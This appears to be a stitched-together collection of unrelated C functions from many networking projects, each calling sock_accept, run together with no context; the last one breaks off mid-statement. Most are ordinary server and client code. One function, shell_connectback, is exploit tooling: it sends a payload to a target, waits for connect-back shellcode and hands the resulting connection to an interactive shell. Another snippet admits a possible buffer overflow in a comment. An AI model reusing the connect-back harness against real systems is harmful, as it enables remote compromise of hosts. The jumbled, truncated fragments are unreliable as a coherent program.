int libcfs_sock_accept (cfs_socket_t **newsockp, cfs_socket_t *sock) { cfs_socket_t *newsock; int rc; newsock = _MALLOC(sizeof(cfs_socket_t), M_TEMP, M_WAITOK|M_ZERO); if (!newsock) { CERROR("Can't allocate cfs_socket.\n"); return -ENOMEM; } newsock->s_magic = CFS_SOCK_MAGIC; /* * thread will sleep in sock_accept by calling of msleep(), * it can be interrupted because msleep() use PCATCH as argument. */ rc = -sock_accept(C2B_SOCK(sock), NULL, 0, 0, libcfs_sock_upcall, newsock, &C2B_SOCK(newsock)); if (rc) { if (C2B_SOCK(newsock) != NULL) sock_close(C2B_SOCK(newsock)); FREE(newsock, M_TEMP); if ((sock->s_flags & CFS_SOCK_DOWN) != 0) /* shutdown by libcfs_sock_abort_accept(), fake * error number for lnet_acceptor() */ rc = -EAGAIN; return rc; } *newsockp = newsock; return 0; }
static connection_t *_accept_connection(void) { int sock; connection_t *con; char *ip; int serversock; serversock = wait_for_serversock(100); if(serversock < 0) return NULL; /* malloc enough room for a full IP address (including ipv6) */ ip = (char *)malloc(MAX_ADDR_LEN); sock = sock_accept(serversock, ip, MAX_ADDR_LEN); if (sock >= 0) { con = connection_create (sock, serversock, ip); if (con == NULL) free (ip); return con; } if (!sock_recoverable(sock_error())) WARN2("accept() failed with error %d: %s", sock_error(), strerror(sock_error())); free(ip); return NULL; }
int maccept(Entry *e, void *p1, void *p2, void *p3, void *p4, void *p5) { int t; Word ipid; int xerrno; int *newfd = (int *)p1; selwakeupfx fx = (selwakeupfx)p2; xsockaddr_in *addr = (xsockaddr_in *)p3; int *addrlen = (int *)p4; if (Debug > 0) { s16_debug_printf("accept"); } if (e->_TYPE != SOCK_STREAM) return EOPNOTSUPP; xerrno = sock_accept(e, newfd, fx, addr, addrlen); if (xerrno != EAGAIN || e->_NONBLOCK) { return xerrno; } for (;;) { xerrno = queue_command(e, kCommandAccept, 0, 0); if (xerrno == EINTR) return EINTR; if (xerrno) return EIO; if (e->command) continue; // reset to 0 if processed. xerrno = sock_accept(e, newfd, fx, addr, addrlen); if (xerrno != EAGAIN) return xerrno; } return 0; }
static int ftp_init_receive(const char *path, transfer_mode_t mode, ftp_transfer_func hookf) { long rp = ftp->restart_offset; char *e; ftp->restart_offset = 0L; foo_hookf = hookf; reset_transfer_info(); if(ftp_init_transfer() != 0) return -1; ftp_type(mode); if(rp > 0) { /* fp is assumed to be fseek'd already */ ftp_cmd("REST %ld", rp); if(ftp->code != ctContinue) return -1; ftp->ti.size = rp; ftp->ti.restart_size = rp; } ftp_cmd("RETR %s", path); if(ftp->code != ctPrelim) return -1; if(!sock_accept(ftp->data, "r", ftp_is_passive())) { ftp_err(_("data connection not accepted\n")); return -1; } /* try to get the total file size */ { /* see if we have cached this directory/file */ rfile *f = ftp_cache_get_file(path); if(f) ftp->ti.total_size = f->size; else { /* try to figure out file size from RETR reply * Opening BINARY mode data connection for foo.mp3 (14429793 bytes) * ^^^^^^^^ aha! * * note: this might not be the _total_ filesize if we are RESTarting */ e = strstr(ftp->reply, " bytes"); if(e != 0) { while((e > ftp->reply) && isdigit((int)e[-1])) e--; ftp->ti.total_size = strtoul(e,NULL,10); } /* else we don't bother */ } } return 0; }
void * runner(void * args) { pthread_mutex_t lock; pthread_mutex_init(&lock, NULL); int sfd, nusfd, usfd = init_sockbind("/tmp/sockpath0"); nusfd = sock_accept(usfd); if(nusfd < 0) { perror("sock_accept() "); } close(usfd); close(nusfd); }
int main(int argc, char const *argv[]) { int usfd, nusfd, nsfd, sfd, i, j, len; pthread_t pid; pthread_mutex_init(&lock, NULL); usfd = init_sockbind("/tmp/sockpath"); if(usfd < 0) { perror("init_sockbind() "); exit(1); } sfd = tcpsocket_bind(8001); if(sfd < 0) { perror("tcpsocket_bind() "); exit(2); } nusfd = sock_accept(usfd); if(nusfd < 0) { perror("sock_accept() "); exit(3); } struct ucred cred; len = sizeof(struct ucred); if(getsockopt(nusfd, SOL_SOCKET, SO_PEERCRED, &cred, &len) < 0) { perror("getsockopt() "); exit(4); } // printf("%ld\n", (long) cred.pid); // backup server pid pthread_create(&pid, NULL, &runner, NULL); while(1) { nsfd = tcp_accept(sfd); if(nsfd < 0) { perror("tcp_accept() "); continue; } if(nsfd_cnt == MAXF) { for (i = 0; i < MAXF; ++i) { pthread_mutex_lock(&lock); if(send_fd(nusfd, nsfds[i]) < 0) { perror("send_fd() "); } pthread_mutex_unlock(&lock); // close(nsfds[i]); } nsfd_cnt = 0; sleep(2); kill(cred.pid, SIGUSR1); } pthread_mutex_lock(&lock); nsfds[nsfd_cnt++] = nsfd; pthread_mutex_unlock(&lock); } return 0; }
unsigned int ZION_CALLBACK TcpThreadFunc(void * point) { char *p = (char*)point; SOCK_HANDLE handle; SOCK_ADDR sock_addr; char read_buf[1024]; sock_init(); if(sock_str2addr(p, &sock_addr)==NULL) { printf("tcp sock_str2addr function error\n"); goto FINISH_STATE; } handle = sock_bind(&sock_addr, 0); if(handle == SOCK_INVALID_HANDLE) { printf("tcp bind function error\n"); goto ERROR_STATE; } printf("tcp %s wait for client connect....\n", p); handle = sock_accept(handle, NULL); if(handle == SOCK_INVALID_HANDLE) { printf("tcp socket_accept function error\n"); goto ERROR_STATE; } printf("tcp client connect access\n"); while(1) { memset(read_buf, 0, sizeof(read_buf)); //sock_readbuf(handle, (void*)read_buf, sizeof(read_buf)); sock_read(handle, (void*)read_buf, sizeof(read_buf)); printf("tcp client send '%s'\n", read_buf); sock_write(handle, (void*)read_buf, (int)strlen(read_buf)); } ERROR_STATE: sock_unbind(handle); FINISH_STATE: sock_final(); return 0; }
int main(int argc, char *argv[]){ int sfd; sfd = tcpsock_create(); sock_setopt(sfd); sock_listen(sfd, SERVER_PORT, BACKLOG); fd_setnb(sfd); int evfd; evfd = ev_create(); ev_add(evfd, sfd, EV_IN); struct ev_event events[MAX_EVENT]; int n; int i; int cfd; unsigned char buf[BUF_SIZE]; ssize_t rbytes; while(1) { n = ev_wait(evfd, events, MAX_EVENT, -1); printf("%d\n", n); for(i=0; i < n; i++){ printf("%d, %d, %d, %d, %d\n", events[i].events, events[i].fd, events[i].readable, events[i].writable, events[i].closable); if (events[i].fd == sfd) { while(1) { cfd = sock_accept(sfd); if (cfd == -1) { break; } fd_setnb(cfd); ev_add(evfd, cfd, EV_IN); } } else if (events[i].closable == true) { close(events[i].fd); } else if (events[i].readable == true) { while(1) { rbytes = sock_recv(events[i].fd, buf, BUF_SIZE); if (rbytes == -1) { break; } buf[rbytes] = '\0'; printf("%s", buf); } } } } }
int ftp_list(const char *cmd, const char *param, FILE *fp) { if (!cmd || !fp || !ftp_connected()) return -1; #ifdef HAVE_LIBSSH if (ftp->session) return ssh_list(cmd, param, fp); #endif reset_transfer_info(); foo_hookf = NULL; #if 0 /* don't care about transfer type, binary should work well... */ ftp_type(tmAscii); #endif if (ftp_init_transfer() != 0) { ftp_err(_("transfer initialization failed")); return -1; } ftp_set_tmp_verbosity(vbNone); if (param) ftp_cmd("%s %s", cmd, param); else ftp_cmd("%s", cmd); if (ftp->code != ctPrelim) return -1; if (!sock_accept(ftp->data, "r", ftp_is_passive())) { perror("accept()"); return -1; } if (FILE_recv_ascii(ftp->data, fp) != 0) return -1; sock_destroy(ftp->data); ftp->data = NULL; ftp_read_reply(); return ftp->code == ctComplete ? 0 : -1; }
int main(int argc, char const *argv[]) { pthread_t pid; pthread_mutex_init(&lock, NULL); int usfd, nusfd, sfd, n, _tmp_usfd = -1; char buf[BUFSIZE]; usfd = init_sockbind("/tmp/sockpath1"); if(usfd < 0) { perror("init_sockbind() "); exit(1); } pthread_create(&pid, NULL, &runner, NULL); nusfd = sock_accept(usfd); if(nusfd < 0) { perror("sock_accept() "); exit(1); } while(1) { int nsfd = recv_fd(nusfd); if(nsfd < 0) { perror("recv_fd() "); continue; } if(nsfd_cnt == MAXF) { if(_tmp_usfd < 0) { strcpy(buf, "/tmp/sockpath2"); _tmp_usfd = init_sockconnect(buf); if(_tmp_usfd < 0) { perror("init_sockconnect() "); } } if(_tmp_usfd > 0) { if(send_fd(_tmp_usfd, nsfd) < 0) { perror("send_fd() "); } } printf("client forwarded !\n"); continue; } // pthread_mutex_lock(&lock); write(nsfd, "C Multiplex", 11); nsfds[nsfd_cnt++] = nsfd; // pthread_mutex_unlock(&lock); printf("client added !\n"); } return 0; }
/*! \breif Receive an incoming connection */ static void hs_accept(void* _server) { Socket* client; HttpServer* server = _server; /* accept the conenction */ client = sock_accept(server->sock); /* check for error */ if(client == NULL) { return; } log(INFO, "New connection accepted %p", server->sock); /* create the http connection */ hc_create(server, client); }
static void shell_connectback (long host, int port, long dest, char *packet, int packet_len) { int sock; int new_sock; sock = sock_tcp_create (); if (sock < 0) { perror ("[-] Error creating socket"); return; } /* we bind before sending the payload to avoid not being * listening when the connectback shellcode tries to connect */ if (sock_bind (sock, host, port) < 0) { perror ("[-] Unable to bind/listen"); return; } if (sock_send_payload (dest, port, packet, packet_len) < 0) { perror ("[-] Unable to send payload"); return; } printf ("[-] Waiting 10s for incoming connection (connectback)...\n"); fflush (stdout); new_sock = sock_accept (sock); if (new_sock < 0) { perror ("[-] Unable to accept connection"); return; } sock_disconnect (sock); shell (new_sock); sock_disconnect (new_sock); }
static connection_t *_accept_connection(int duration) { sock_t sock, serversock; char *ip; serversock = wait_for_serversock (duration); if (serversock == SOCK_ERROR) return NULL; /* malloc enough room for a full IP address (including ipv6) */ ip = (char *)malloc(MAX_ADDR_LEN); sock = sock_accept(serversock, ip, MAX_ADDR_LEN); if (sock != SOCK_ERROR) { connection_t *con = NULL; /* Make any IPv4 mapped IPv6 address look like a normal IPv4 address */ if (strncmp (ip, "::ffff:", 7) == 0) memmove (ip, ip+7, strlen (ip+7)+1); if (accept_ip_address (ip)) con = connection_create (sock, serversock, ip); if (con) return con; sock_close (sock); } else { if (!sock_recoverable(sock_error())) { WARN2("accept() failed with error %d: %s", sock_error(), strerror(sock_error())); thread_sleep (500000); } } free(ip); return NULL; }
void Server(char *Address, char *Port, int AddressFamily, int TransportProtocol) { char ErrBuf[1024]; char DataBuffer[1024]; int ServerSocket, ChildSocket; // keeps the socket ID for this connection struct addrinfo Hints; // temporary struct to keep settings needed to open the new socket struct addrinfo *AddrInfo; // keeps the addrinfo chain; required to open a new socket struct sockaddr_storage From; // temp variable that keeps the parameters of the incoming connection int ReadBytes; // Number of bytes read from the socket char RemoteAddress[1024]; // temp variable to store the address of the connecting host char RemotePort[1024]; // temp variable to store the port used by the connecting host // Prepare to open a new server socket memset(&Hints, 0, sizeof(struct addrinfo)); Hints.ai_family= AddressFamily; Hints.ai_socktype= TransportProtocol; // Open a TCP/UDP connection Hints.ai_flags = AI_PASSIVE; // This is a server: ready to bind() a socket if (sock_initaddress (Address, Port, &Hints, &AddrInfo, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { printf("Error resolving given address/port: %s\n\n", ErrBuf); return; } printf("Server waiting on address %s, port %s, using protocol %s\n", Address ? Address : "all local addresses", Port, (AddrInfo->ai_family == AF_INET) ? "IPv4" : "IPv6"); if ( (ServerSocket= sock_open(AddrInfo, 1, 10, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); printf("Cannot opening the socket: %s\n\n", ErrBuf); return; } // AddrInfo is no longer required sock_freeaddrinfo(AddrInfo); if (TransportProtocol == SOCK_STREAM) { if ( (ChildSocket= sock_accept(ServerSocket, &From, ErrBuf, sizeof(ErrBuf))) == sockFAILURE) { printf("Error when accepting a new connection: %s\n\n", ErrBuf); return; } if (sock_getascii_addrport(&From, RemoteAddress, sizeof(RemoteAddress), RemotePort, sizeof(RemotePort), NI_NUMERICHOST | NI_NUMERICSERV, ErrBuf, sizeof(ErrBuf)) == sockFAILURE) { printf("Error getting information related to the connecting host: %s\n\n", ErrBuf); return; } printf("Accepting a new connection from host %s, using remote port %s.\n\n", RemoteAddress, RemotePort); ReadBytes= sock_recv(ChildSocket, DataBuffer, sizeof(DataBuffer), SOCK_RECEIVEALL_NO, 30, ErrBuf, sizeof(ErrBuf)); if (ReadBytes == sockFAILURE) { printf("Error reading data: %s\n\n", ErrBuf); return; } } else { ReadBytes= sock_recvdgram(ServerSocket, DataBuffer, sizeof(DataBuffer), SOCK_RECEIVEALL_NO, 30, ErrBuf, sizeof(ErrBuf)); if (ReadBytes == sockFAILURE) { printf("Error reading data: %s\n\n", ErrBuf); return; } } if (ReadBytes == sockWARNING) { printf("We waited for enough time and no data has been received so far.\nAborting the connection.\n\n"); return; } // Terminate buffer, just for printing purposes // Warning: this can originate a buffer overflow DataBuffer[ReadBytes]= 0; printf("Received the following string: '%s'\n\n", DataBuffer); }
// The main function int main(int argc, char **argv) { // Read in argc int i; int num_servers; int portno; char *backend_hosts[MAX_SERVERS]; int backend_port[MAX_SERVERS]; int weights[MAX_SERVERS]; // if not enough number of servers or too many servers num_servers = (argc - 2) / 3; if (argc < 4 || num_servers > MAX_SERVERS || (argc - 2) % 3) { fprintf(stderr, "Usage: %s PROXY_PORTNO [BACKEND_ADDR PORTNO WEIGHT]...\n" "MAX server num: %d\n", argv[0], MAX_SERVERS); exit(1); } // Read in configs portno = atoi(argv[1]); for (i = 0; i < num_servers; ++i) { int host_index = i * 3 + 2; backend_hosts[i] = argv[host_index]; backend_port[i] = atoi(argv[host_index + 1]); weights[i] = atoi(argv[host_index + 2]); #ifdef DEBUG printf("[DEBUG] server %s:%d weight %d\n", backend_hosts[i], backend_port[i], weights[i]); #endif } // Start server procedure // setup network, start server int serverfd; server_conf_t server_conf; balancer_t balancer; unsigned backend_rotate; threadpool_t *pool; // Init balancer balancer_init(&balancer, num_servers, weights); // Init thread pool pool = threadpool_create(THREAD_NUM, THREADPOOL_SIZE); // creating server thread pool printf("[INFO] Created server pool with %d threads and %d queue\n", THREAD_NUM, THREADPOOL_SIZE); // Init server config pthread_mutex_init(&(server_conf.lock), NULL); server_conf.total_conn = 0; for (i = 0; i < num_servers; ++i) { server_conf.connections[i] = 0; } // starting server procedure // Starting binding and listening printf("[INFO] Starting server procedure\n"); if ((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("[ERROR] Error creating socket\n"); exit(1); } if (sock_bind_listen(serverfd, portno, MAX_CONNECT) < 0) { perror("[ERROR] Error binding and listening to socket\n"); exit(1); } // Main loop while (1) { // accept new connection int clientfd; // setup server balancer_balance(&balancer, &server_conf); server_conf.index = balancer.index; server_conf.backend_host = backend_hosts[balancer.index]; server_conf.backend_port = backend_port[balancer.index]; #ifdef DEBUG printf("[DEBUG] balancer index %d out of %d servers\n", balancer.index, balancer.server_num); #endif // setup connection number pthread_mutex_lock(&(server_conf.lock)); server_conf.connections[balancer.index]++; server_conf.total_conn++; pthread_mutex_unlock(&(server_conf.lock)); // accept and new thread if ((clientfd = sock_accept(serverfd)) > 0) { #ifdef DEBUG printf("[INFO] Accepting new connection\n"); #endif // hand new request to threads server_conf.clientsockfd = clientfd; threadpool_assign(pool, server_thread, (void *)&server_conf); } } // Gracefully shutting down threadpool_destroy(pool); // DEBUG printf("[INFO] closing procedure\n"); pthread_mutex_destroy(&(server_conf.lock)); return 0; }
static client_t *accept_client (void) { client_t *client = NULL; sock_t sock, serversock = wait_for_serversock (); char addr [200]; if (serversock == SOCK_ERROR) return NULL; sock = sock_accept (serversock, addr, 200); if (sock == SOCK_ERROR) { if (sock_recoverable (sock_error())) return NULL; WARN2 ("accept() failed with error %d: %s", sock_error(), strerror(sock_error())); thread_sleep (500000); return NULL; } do { int i, num; refbuf_t *r; if (sock_set_blocking (sock, 0) || sock_set_nodelay (sock)) { WARN0 ("failed to set tcp options on client connection, dropping"); break; } client = calloc (1, sizeof (client_t)); if (client == NULL || connection_init (&client->connection, sock, addr) < 0) break; client->shared_data = r = refbuf_new (PER_CLIENT_REFBUF_SIZE); r->len = 0; // for building up the request coming in global_lock (); client_register (client); for (i=0; i < global.server_sockets; i++) { if (global.serversock[i] == serversock) { client->server_conn = global.server_conn[i]; client->server_conn->refcount++; if (client->server_conn->ssl && ssl_ok) connection_uses_ssl (&client->connection); if (client->server_conn->shoutcast_compat) client->ops = &shoutcast_source_ops; else client->ops = &http_request_ops; break; } } num = global.clients; global_unlock (); stats_event_args (NULL, "clients", "%d", num); client->flags |= CLIENT_ACTIVE; return client; } while (0); free (client); sock_close (sock); return NULL; }
/* * System call vectors. Since I (RIB) want to rewrite sockets as streams, * we have this level of indirection. Not a lot of overhead, since more of * the work is done via read/write/select directly. */ asmlinkage int sys_socketcall(int call, unsigned long *args) { int er; switch(call) { case SYS_SOCKET: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_socket(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2))); case SYS_BIND: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_bind(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_CONNECT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_connect(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_LISTEN: er=verify_area(VERIFY_READ, args, 2 * sizeof(long)); if(er) return er; return(sock_listen(get_fs_long(args+0), get_fs_long(args+1))); case SYS_ACCEPT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_accept(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETSOCKNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getsockname(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETPEERNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getpeername(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_SOCKETPAIR: er=verify_area(VERIFY_READ, args, 4 * sizeof(long)); if(er) return er; return(sock_socketpair(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (unsigned long *)get_fs_long(args+3))); case SYS_SEND: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_send(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_SENDTO: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_sendto(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), get_fs_long(args+5))); case SYS_RECV: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_recv(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_RECVFROM: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_recvfrom(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), (int *)get_fs_long(args+5))); case SYS_SHUTDOWN: er=verify_area(VERIFY_READ, args, 2* sizeof(unsigned long)); if(er) return er; return(sock_shutdown(get_fs_long(args+0), get_fs_long(args+1))); case SYS_SETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_setsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), get_fs_long(args+4))); case SYS_GETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_getsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), (int *)get_fs_long(args+4))); default: return(-EINVAL); } }
int udpclient(int argc, char *argv[]) { char *lhost, *lport, *phost, *pport, *rhost, *rport; list_t *clients = NULL; list_t *conn_clients; client_t *client; client_t *client2; socket_t *tcp_serv = NULL; socket_t *tcp_sock = NULL; socket_t *udp_sock = NULL; char data[MSG_MAX_LEN]; char addrstr[ADDRSTRLEN]; struct timeval curr_time; struct timeval check_time; struct timeval check_interval; struct timeval timeout; fd_set client_fds; fd_set read_fds; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; uint16_t tmp_req_id; int num_fds; int ret; int i; signal(SIGINT, &signal_handler); i = 0; lhost = (argc - i == 5) ? NULL : argv[i++]; lport = argv[i++]; phost = argv[i++]; pport = argv[i++]; rhost = argv[i++]; rport = argv[i++]; /* Check validity of ports (can't check ip's b/c might be host names) */ ERROR_GOTO(!isnum(lport), "Invalid local port.", done); ERROR_GOTO(!isnum(pport), "Invalid proxy port.", done); ERROR_GOTO(!isnum(rport), "Invalid remote port.", done); srand(time(NULL)); next_req_id = rand() % 0xffff; /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(clients == NULL, "Error creating clients list.", done); /* Create and empty list for the connecting clients */ conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free, 1); ERROR_GOTO(conn_clients == NULL, "Error creating clients list.", done); /* Create a TCP server socket to listen for incoming connections */ tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1); ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done); if(debug_level >= DEBUG_LEVEL1) { printf("Listening on TCP %s\n", sock_get_str(tcp_serv, addrstr, sizeof(addrstr))); } FD_ZERO(&client_fds); /* Initialize all the timers */ timerclear(&timeout); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; gettimeofday(&check_time, NULL); while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; read_fds = client_fds; FD_SET(SOCK_FD(tcp_serv), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; } ret = client_check_and_send_keepalive(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; /* Check if pending TCP connection to accept and create a new client and UDP connection if one is ready */ if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) { tcp_sock = sock_accept(tcp_serv); if(tcp_sock == NULL) continue; udp_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1); if(udp_sock == NULL) { sock_close(tcp_sock); sock_free(tcp_sock); continue; } client = client_create(next_req_id++, tcp_sock, udp_sock, 1); if(!client || !tcp_sock || !udp_sock) { if(tcp_sock) sock_close(tcp_sock); if(udp_sock) sock_close(udp_sock); } else { client2 = list_add(conn_clients, client, 1); client_free(client); client = NULL; client_send_hello(client2, rhost, rport, CLIENT_ID(client2)); client_add_tcp_fd_to_set(client2, &client_fds); client_add_udp_fd_to_set(client2, &client_fds); } sock_free(tcp_sock); sock_free(udp_sock); tcp_sock = NULL; udp_sock = NULL; num_fds--; } /* Check for pending handshakes from UDP connection */ for(i = 0; i < LIST_LEN(conn_clients) && num_fds > 0; i++) { client = list_get_at(conn_clients, i); if(client_udp_fd_isset(client, &read_fds)) { num_fds--; tmp_req_id = CLIENT_ID(client); ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(tmp_req_id, conn_clients, &client_fds, 1); i--; } else { client = list_add(clients, client, 1); list_delete_at(conn_clients, i); client_remove_udp_fd_from_set(client, &read_fds); i--; } } } /* Check if data is ready from any of the clients */ for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); /* Check for UDP data */ if(num_fds > 0 && client_udp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; /* Don't go to check the TCP connection */ } } /* Check for TCP data */ if(num_fds > 0 && client_tcp_fd_isset(client, &read_fds)) { ret = client_recv_tcp_data(client); if(ret == -1) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; continue; } else if(ret == -2) { client_mark_to_disconnect(client); disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 0); } num_fds--; } /* send any TCP data that was ready */ ret = client_send_udp_data(client); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } /* Finally, send any udp data that's still in the queue */ for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_send_udp_data(client); if(ret < 0 || client_ready_to_disconnect(client)) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds, 1); i--; } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(tcp_serv) { sock_close(tcp_serv); sock_free(tcp_serv); } if(udp_sock) { sock_close(udp_sock); sock_free(udp_sock); } if(clients) list_free(clients); if(conn_clients) list_free(conn_clients); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
int main(int argc,char **argv) { int opt,long_opt_index = 0,ret; struct netdev *vdev,dev; struct socket sk; u_char *ifconf; struct linger so_linger; u_int mtu=0; memset(&dev,0,sizeof(struct netdev)); memset(&sk,0,sizeof(struct socket)); ifconf = NULL; vdev = &dev; vdev->nd_ops = &nd_ops; vdev->sk = &sk; while( (opt =getopt_long(argc,argv,"hi:I:p:u:vm:H:K:d",long_opt,&long_opt_index)) != -1 ) { switch(opt) { case 'h': banner(argv[0]); break; case 'i': memcpy(&dev.nd_name,optarg,IFNAMSIZ-1); break; case 'I': ifconf = (u_char*)strdup(optarg); has_ifconf |=1; break; case 'p': sk.sk_port = atoi(optarg); break; case 'u': dev.nd_owner = (u_int8_t*)strdup(optarg); break; case 'v': verbose |= 1; break; case 'm': mtu = atoi(optarg); break; case 'K': shr_key = (unsigned char*)strdup(optarg); break; case 'H': hwaddr = (u_char *)strdup(optarg); break; case 'd': daemonize |=1; break; default: banner(argv[0]); break; } } /* device name is not required , the kernel will give us a random name */ dev.nd_flags = IFF_TAP | IFF_NO_PI; if(daemonize) if(daemon(0,0) == -1) { perrx("main():daemon()"); return -1; } if(!has_ifconf ) { fprintf(stderr,"[!] Device configuration is not set \n"); } else parse_conf((char*)ifconf,&dev); if (!sk.sk_port) sk.sk_port = DEFAULT_PORT; if(!mtu || mtu < 0 || mtu > 4096) vdev->nd_mtu = MTU; else vdev->nd_mtu = mtu; if(shr_key == NULL) { printf("[-] Shared key is not set\n"); return -1; } sk.sk_fd = socket(AF_INET,SOCK_STREAM,0); if(sk.sk_fd < 0) { perror("main():socket()"); return -1; } /* set linger socket option */ so_linger.l_onoff = 1; so_linger.l_linger = 0; ret = setsockopt(sk.sk_fd,SOL_SOCKET,SO_LINGER,&so_linger,sizeof(struct linger)); if(ret == -1) { perror("main:setsockopt(SO_LINGER)"); close(sk.sk_fd); return ret; } /* let's create a virtual device interface */ if(vdev->nd_ops->init(&dev)) return -1; int yes = 1; struct socket *sk_cli; sk.sk_serv.sin_family = AF_INET; sk.sk_serv.sin_port = htons(sk.sk_port); sk.sk_serv.sin_addr.s_addr = htonl(INADDR_ANY); /* enable socket address re-use */ ret = setsockopt(sk.sk_fd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)); if(ret == -1) { perror("main:setsockopt(SO_REUSEADDR)"); close(sk.sk_fd); return ret; } ret = bind(sk.sk_fd,(struct sockaddr*)&sk.sk_serv,sizeof(struct sockaddr_in)); if(ret == -1) { perror("main:bind()"); close(sk.sk_fd); return ret; } ret = listen(sk.sk_fd,4); if(ret == -1) { perror("main:listen()"); return -1; } if(verbose) printf("[+] Listening on port : %d\n",sk.sk_port); for(;;) { sk_cli =sock_accept(&dev); if(!sk_cli) return -1; vdev->nd_ops->xmit(vdev,sk_cli); } vdev->nd_ops->exit(vdev); return 0; }
int udpclient(int argc, char* argv[]) { char* lhost, *lport, *phost, *pport, *rhost, *rport; list_t* clients; list_t* conn_clients; client_t* client; client_t* client2; socket_t* tcp_serv = NULL; socket_t* tcp_sock = NULL; socket_t* udp_sock = NULL; char data[MSG_MAX_LEN]; char addrstr[ADDRSTRLEN]; char pport_s[6]; struct timeval curr_time; struct timeval check_time; struct timeval check_interval; struct timeval timeout; fd_set client_fds; fd_set read_fds; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; uint16_t tmp_req_id; int num_fds; int ret; int i; int icmp_sock ; int timeexc = -1; struct sockaddr_in src, dest, rsrc; struct hostent* hp; uint32_t timeexc_ip; signal(SIGINT, &signal_handler); i = 0; if(index(argv[i], 58) || index(argv[i], 46)) lhost = argv[i++]; else lhost = NULL; lport = argv[i++]; phost = argv[i++]; if(index(argv[i], 58) || index(argv[i], 46)) { snprintf(pport_s, 5, "2222"); pport = pport_s; } else pport = argv[i++]; rhost = argv[i++]; rport = argv[i++]; /* Get info about localhost IP */ if(!lhost){ char szHostName[255]; gethostname(szHostName, 255); hp = gethostbyname(szHostName); }else{ hp = gethostbyname(lhost); } memset(&rsrc, 